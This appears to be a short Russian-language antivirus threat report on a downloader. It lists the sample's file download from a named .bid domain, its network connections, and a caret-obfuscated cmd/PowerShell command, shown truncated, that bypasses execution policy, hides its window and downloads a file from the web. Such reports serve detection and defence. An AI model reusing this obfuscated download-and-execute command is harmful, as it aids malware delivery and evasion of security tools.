Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://asecwitlecn.bid/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Po^Wer^Sh^E^lL^.^EX^E -^e^Xe^Cu^t^iONpolI^cy^ bYpass -NoPRO^fI^L^E ^-^W^iNDO^Ws^tYLe ^H^I^Dden (n^e^w-OBjeCt^ ^SYStEm^.N^et.Web^CLI^E^n^T)^.dOW^N^lo^aD^F^iLE^(^'http:...
Сетевая активность
Подключается к
- 'as###itlecn.bid':80
TCP
Запросы HTTP GET
- http://as###itlecn.bid/read.php?f=#####
UDP
- DNS ASK as###itlecn.bid
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Po^Wer^Sh^E^lL^.^EX^E -^e^Xe^Cu^t^iONpolI^cy^ bYpass -NoPRO^fI^L^E ^-^W^iNDO^Ws^tYLe ^H^I^Dden (n^e^w-OBjeCt^ ^SYStEm^.N^et.Web^CLI^E^n^T)^.dOW^N^lo^aD^F^iLE^(^'http:...' (со скрытым окном)
